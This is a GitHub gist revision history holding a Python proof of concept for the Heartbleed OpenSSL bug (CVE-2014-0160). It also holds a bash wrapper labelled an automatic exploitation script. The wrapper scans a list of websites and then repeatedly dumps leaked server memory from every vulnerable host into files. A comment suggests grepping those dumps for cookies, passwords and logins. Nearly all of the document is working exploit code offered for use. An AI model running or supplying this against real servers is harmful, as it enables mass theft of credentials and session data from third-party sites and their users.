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initbrain/ssltest.py

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Revisions

  1. Julien Deudon revised this gist Apr 9, 2014. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions ssltest.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,5 @@
    #!/bin/bash

    # Automatic exploitation script - Heartbleed OpenSSL bug CVE-2014-0160
    # Using Python PoC from Jared Stafford ([email protected]): http://s3.jspenguin.org/ssltest.py
    # Check pattern with (for example): tail -f *.txt | egrep -C 5 -i 'cookie|pass|pwd|login'
  2. Julien Deudon revised this gist Apr 9, 2014. 1 changed file with 136 additions and 0 deletions.
    136 changes: 136 additions & 0 deletions ssltest.py
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,136 @@
    #!/usr/bin/python

    # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
    # The author disclaims copyright to this source code.

    import sys
    import struct
    import socket
    import time
    import select
    import re
    from optparse import OptionParser

    options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

    def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

    hello = h2bin('''
    16 03 02 00 dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
    00 0f 00 01 01
    ''')

    hb = h2bin('''
    18 03 02 00 03
    01 40 00
    ''')

    def hexdump(s):
    for b in xrange(0, len(s), 16):
    lin = [c for c in s[b : b + 16]]
    hxdat = ' '.join('%02X' % ord(c) for c in lin)
    pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
    print ' %04x: %-48s %s' % (b, hxdat, pdat)
    print

    def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
    rtime = endtime - time.time()
    if rtime < 0:
    return None
    r, w, e = select.select([s], [], [], 5)
    if s in r:
    data = s.recv(remain)
    # EOF?
    if not data:
    return None
    rdata += data
    remain -= len(data)
    return rdata


    def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
    print 'Unexpected EOF receiving record header - server closed connection'
    return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
    print 'Unexpected EOF receiving record payload - server closed connection'
    return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

    def hit_hb(s):
    s.send(hb)
    while True:
    typ, ver, pay = recvmsg(s)
    if typ is None:
    print 'No heartbeat response received, server likely not vulnerable'
    return False

    if typ == 24:
    print 'Received heartbeat response:'
    hexdump(pay)
    if len(pay) > 3:
    print 'WARNING: server returned more data than it should - server is vulnerable!'
    else:
    print 'Server processed malformed heartbeat, but did not return any extra data.'
    return True

    if typ == 21:
    print 'Received alert:'
    hexdump(pay)
    print 'Server returned error, likely not vulnerable'
    return False

    def main():
    opts, args = options.parse_args()
    if len(args) < 1:
    options.print_help()
    return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
    typ, ver, pay = recvmsg(s)
    if typ == None:
    print 'Server closed connection without sending Server Hello.'
    return
    # Look for server hello done message.
    if typ == 22 and ord(pay[0]) == 0x0E:
    break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

    if __name__ == '__main__':
    main()
  3. Julien Deudon revised this gist Apr 8, 2014. 1 changed file with 52 additions and 11 deletions.
    63 changes: 52 additions & 11 deletions ssltest.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,5 @@
    #!/bin/bash
    # Exploitation script - Heartbleed OpenSSL bug CVE-2014-0160
    # Automatic exploitation script - Heartbleed OpenSSL bug CVE-2014-0160
    # Using Python PoC from Jared Stafford ([email protected]): http://s3.jspenguin.org/ssltest.py
    # Check pattern with (for example): tail -f *.txt | egrep -C 5 -i 'cookie|pass|pwd|login'
    # Stop the script with (yes I know...): ps aux | grep 'ssltest\.sh' | awk '{print $2}' | xargs -x kill -9
    @@ -28,13 +28,33 @@ do
    until [ $status -eq 1 ] || [ $attempt -eq $max_attempt ]
    do
    let "attempt=$attempt+1"
    echo "ATTEMPT $attempt/$max_attempt"
    sslcheck=$(python ssltest.py $line 2>&1)
    wcl=$(echo "$sslcheck" | wc -l)
    if [ $wcl -gt 100 ]
    then
    status=1
    echo "IS VULN !!!"

    if echo "$line" | egrep -q ":" ; then
    arr=$(echo $line | tr ":" "\n")
    array=()
    for x in $arr
    do
    array=( ${array[*]} $x )
    done
    #echo ${array[0]} ${array[1]}

    echo "ATTEMPT $attempt/$max_attempt: python ssltest.py ${array[0]} -p ${array[1]}"
    sslcheck=$(python ssltest.py ${array[0]} -p ${array[1]} 2>&1)
    wcl=$(echo "$sslcheck" | wc -l)
    if [ $wcl -gt 100 ]
    then
    status=1
    echo "IS VULN !!!"
    fi
    else
    echo "ATTEMPT $attempt/$max_attempt: python ssltest.py $line"
    sslcheck=$(python ssltest.py $line 2>&1)
    wcl=$(echo "$sslcheck" | wc -l)
    if [ $wcl -gt 100 ]
    then
    status=1
    echo "IS VULN !!!"
    fi
    fi
    done
    if [ $status -eq 0 ]
    @@ -45,12 +65,33 @@ do
    fi
    done


    # Let's make a dump file for eatch vulnerable website
    vuln_website="$(sort $filename | uniq -u | grep -v '^#')"
    filelines=$(cat $filename)
    i=0
    # Read eatch line of the website list
    while true
    do
    for site in $vuln_website
    for line in $filelines
    do
    python ssltest.py "$site" | tee -a "$site.txt"
    # If line not start with "#"
    if ! echo "$line" | grep -lq "^#"
    then
    if echo "$line" | egrep -q ":" ; then
    arr=$(echo $line | tr ":" "\n")
    array=()
    for x in $arr
    do
    array=( ${array[*]} $x )
    done
    echo ${array[0]} ${array[1]}

    echo "~> python ssltest.py ${array[0]} -p ${array[1]}"
    python ssltest.py "${array[0]}" -p "${array[1]}" | tee -a "${array[0]}.txt"
    else
    echo "~> python ssltest.py $line"
    python ssltest.py "$line" | tee -a "$line.txt"
    fi
    fi
    done
    done
  4. Julien Deudon created this gist Apr 8, 2014.
    56 changes: 56 additions & 0 deletions ssltest.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,56 @@
    #!/bin/bash
    # Exploitation script - Heartbleed OpenSSL bug CVE-2014-0160
    # Using Python PoC from Jared Stafford ([email protected]): http://s3.jspenguin.org/ssltest.py
    # Check pattern with (for example): tail -f *.txt | egrep -C 5 -i 'cookie|pass|pwd|login'
    # Stop the script with (yes I know...): ps aux | grep 'ssltest\.sh' | awk '{print $2}' | xargs -x kill -9

    filename='ssltest_website_list.txt' # Website list (one per line)
    max_attempt=3 # Maximum number of attempt


    # Sort and remove duplicate lines
    echo -n "$(sort $filename | uniq -u | grep -v '^$')" > $filename
    filelines=$(cat $filename)
    i=0
    # Read eatch line of the website list
    for line in $filelines
    do
    # Calculate line number
    let "i=$i+1"
    # If line not start with "#"
    if ! echo "$line" | grep -lq "^#"
    then
    # Check website
    echo "[+] Check $line (line $i)"
    status=0
    attempt=0
    # Check until max attempt reatched or vuln found
    until [ $status -eq 1 ] || [ $attempt -eq $max_attempt ]
    do
    let "attempt=$attempt+1"
    echo "ATTEMPT $attempt/$max_attempt"
    sslcheck=$(python ssltest.py $line 2>&1)
    wcl=$(echo "$sslcheck" | wc -l)
    if [ $wcl -gt 100 ]
    then
    status=1
    echo "IS VULN !!!"
    fi
    done
    if [ $status -eq 0 ]
    then
    echo "NOT VULN..."
    sed -i "s/^$line/#$line/" $filename
    fi
    fi
    done

    # Let's make a dump file for eatch vulnerable website
    vuln_website="$(sort $filename | uniq -u | grep -v '^#')"
    while true
    do
    for site in $vuln_website
    do
    python ssltest.py "$site" | tee -a "$site.txt"
    done
    done